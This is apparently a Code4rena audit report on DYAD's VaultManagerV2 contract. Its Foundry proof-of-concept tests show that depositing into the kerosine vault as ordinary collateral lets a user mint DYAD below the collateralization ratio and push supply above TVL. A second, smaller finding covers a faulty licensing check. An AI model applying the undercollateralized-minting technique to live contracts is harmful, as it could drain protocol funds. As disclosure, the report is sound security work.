DYAD - Hueber's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67

Vulnerability details

Impact

Using kerosine vault, where normal vaults(wETH, wstETH) are, will artificially inflate protocol TVL

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. POC

contract VaultManagerV2Test is Test, Parameters{
    // users
    address internal USER1 = makeAddr("user1");
    address internal USER2 = makeAddr("user2");

    uint256 internal USER1_NFT;
    uint256 internal USER2_NFT;

    // core
    DNft         dNft;
    Licenser     vaultLicenser;
    Licenser     vaultManagerLicenser;
    Dyad         dyad;
    VaultManagerV2 vaultManager;
    KerosineManager kerosineManager;
    KerosineDenominator kerosineDenominator;

    // weth
    Vault        wethVault;
    ERC20Mock    weth;
    OracleMock   wethOracle;

    // dai
    Vault        daiVault;
    ERC20Mock    dai;
    OracleMock   daiOracle;

    // kerosine
    Kerosine    kerosine;
    UnboundedKerosineVault unboundedKerosineVault;

    function setUp() public{
        // create erc20 tokens
        weth       = new ERC20Mock("WETH-TEST", "WETHT");
        wethOracle = new OracleMock(1000e8);

        dai       = new ERC20Mock("DAI-TEST", "DAIT");
        daiOracle = new OracleMock(1e8);

        vm.startPrank(Parameters.MAINNET_OWNER);
        kerosine = new Kerosine();
        kerosineDenominator = new KerosineDenominator(kerosine);

        vaultLicenser = new Licenser();
        vaultManagerLicenser = new Licenser();
        dNft = new DNft();
        dyad = new Dyad(vaultManagerLicenser);
        kerosineManager = new KerosineManager();

        vaultManager = new VaultManagerV2(dNft, dyad, vaultLicenser);
        vaultManagerLicenser.add(address(vaultManager));
        vaultManager.setKeroseneManager(kerosineManager);

        // create vaults
        wethVault = new Vault(vaultManager, ERC20(address(weth)), IAggregatorV3(address(wethOracle)));
        daiVault = new Vault(vaultManager, ERC20(address(dai)), IAggregatorV3(address(daiOracle)));
        unboundedKerosineVault = new UnboundedKerosineVault(vaultManager, ERC20(address(kerosine)), dyad, kerosineManager);
        unboundedKerosineVault.setDenominator(kerosineDenominator);

        // add vaults to licenser to be used as collateral
        vaultLicenser.add(address(wethVault));
        vaultLicenser.add(address(daiVault));
        vaultLicenser.add(address(unboundedKerosineVault));

        // add vaults used to calculate the price of unbounded kerosine vault
        kerosineManager.add(address(wethVault));
        kerosineManager.add(address(daiVault));

        USER1_NFT = dNft.mintInsiderNft(USER1);
        USER2_NFT = dNft.mintInsiderNft(USER2);

        assertEq(dNft.ownerOf(USER1_NFT), USER1);
        assertEq(dNft.ownerOf(USER2_NFT), USER2);

        vm.stopPrank();

        vm.deal(USER1, 1 ether);
        vm.deal(USER2, 1 ether);

        weth.mint(USER1, 1 ether);
        weth.mint(USER2, 1 ether);

        dai.mint(USER1, 1000 ether);
        dai.mint(USER2, 1000 ether);
    }

    // unbounded kerosine vault can be added to vault manager via add method
    // this will make MIN_COLLATERIZATION_RATIO to not behave correctly
    // in the following example an Note owner with 90 dai balance and 1 kerosine token
    // will be able to mint 70 dyad tokens
    function testPOCAddingUnboundedKerosineVaultViaAddMethodOfVaultManager() public {
        vm.prank(Parameters.MAINNET_OWNER);
        // load user 1 with 1 kerosene token. will have less than 1 cent.
        kerosine.transfer(USER1, 1);

        vm.startPrank(USER1);
        vaultManager.add(USER1_NFT, address(daiVault));

        dai.approve(address(vaultManager), type(uint256).max);
        kerosine.approve(address(vaultManager), type(uint256).max);

        // add kerosine to Note
        vaultManager.deposit(USER1_NFT, address(daiVault), 90 * (10 ** dai.decimals()));

        vaultManager.add(USER1_NFT, address(unboundedKerosineVault));
        vaultManager.deposit(USER1_NFT, address(unboundedKerosineVault), kerosine.balanceOf(USER1));
        vaultManager.mintDyad(USER1_NFT, 70 * (10**dyad.decimals()), USER1);

        console.log(daiVault.getUsdValue(USER1_NFT));
        console.log(unboundedKerosineVault.getUsdValue(USER1_NFT));

        assert(dyad.totalSupply() / daiVault.getUsdValue(USER1_NFT) < vaultManager.MIN_COLLATERIZATION_RATIO() );
    }

    function testAddingUnboundedKerosineVaultViaAddMethodOfVaultManagerCanMakeDyadGreaterThanTVL() public {
        vm.startPrank(USER2);
        vaultManager.add(USER2_NFT, address(daiVault));

        uint256 startingBalanceOfDaiVault = dai.balanceOf(address(daiVault));
        uint256 startingBalanceOfUnboundedKerosineVault = kerosine.balanceOf(address(unboundedKerosineVault));

        dai.approve(address(vaultManager), type(uint256).max);
        // user2 deposited 100 dai to dai vault
        vaultManager.deposit(USER2_NFT, address(daiVault), 100 * (10 ** dai.decimals()));

        // check that total usd value of USER2 Note vaults is 100 usd with 18 decimals
        assertEq(100e18, vaultManager.getTotalUsdValue(USER2_NFT));
        vm.stopPrank();

        // simulate receiving KEROSENE tokens from Staking contract
        simulateReceivingKeroseneTokens(USER1, 1);
        vm.startPrank(USER1);
        kerosine.approve(address(vaultManager), type(uint256).max);
        vaultManager.add(USER1_NFT, address(unboundedKerosineVault));

        vaultManager.deposit(USER1_NFT, address(unboundedKerosineVault), kerosine.balanceOf(USER1));
        // total usd value shows 100e18 for Note 0 and 100e18 for note , but only Note 1 have deposited
        console.log(vaultManager.getTotalUsdValue(USER1_NFT), vaultManager.getTotalUsdValue(USER2_NFT));
        vaultManager.mintDyad(USER1_NFT, 40 * (10**dyad.decimals()), USER1);

        vm.stopPrank();
        vm.startPrank(USER2);
        vaultManager.mintDyad(USER2_NFT, 61 * (10**dyad.decimals()), USER2);

        uint256 endingBalanceOfDaiVault = dai.balanceOf(address(daiVault));
        uint256 endingBalanceOfUnboundedKerosineVault = kerosine.balanceOf(address(unboundedKerosineVault));

        // kerosine price is determined by LP pool on uniswap ETH<>Kerosene
        // at the time of writing 1 kerosene is equal to 0.0000100305 ETH
        // lets make 1 Kerosene equal to 1 DAI, for easier calculation
        uint256 vaultsTotalTokens = (endingBalanceOfDaiVault - startingBalanceOfDaiVault) + (endingBalanceOfUnboundedKerosineVault - startingBalanceOfUnboundedKerosineVault);

        uint256 vaultsTotalTokensInDyadDecimals = vaultsTotalTokens * daiOracle.price() * (10 ** dyad.decimals()) / (10 ** (dai.decimals() + daiOracle.decimals()));

        // main invariant: dyad total supply must be less than TVL
        assert(dyad.totalSupply() > vaultsTotalTokensInDyadDecimals);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Restrict vaults in https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67 to not include kerosine vaults

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L88

Vulnerability details

Impact

Users won't be able to use kerosine vaults in their notes, because in addKerosene method, there is a check if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();. This check will revert, because as per the DeployScriptV2.s.sol(https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64) and also YouTube video https://youtu.be/64zoj0iLCy0 in KerosineManager won't go KerosineVaults.

Proof of Concept

    // addKerosene checks kerosineManager.isLicensed(), but have to check in vaultsLicensers.isLicensed
    // check also Deploy.V2.s.sol
    function testPOCUnableToAddUnboundedKerosineVault() public {
        vm.startPrank(USER1);
        vm.expectRevert(IVaultManager.VaultNotLicensed.selector);
        vaultManager.addKerosene(USER1_NFT, address(unboundedKerosineVault));
    }

Tools Used

Manual review

Recommended Mitigation Steps

Change if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); with if (!vaultsLicenser.isLicensed(vault)) revert VaultNotLicensed();

Assessed type

Context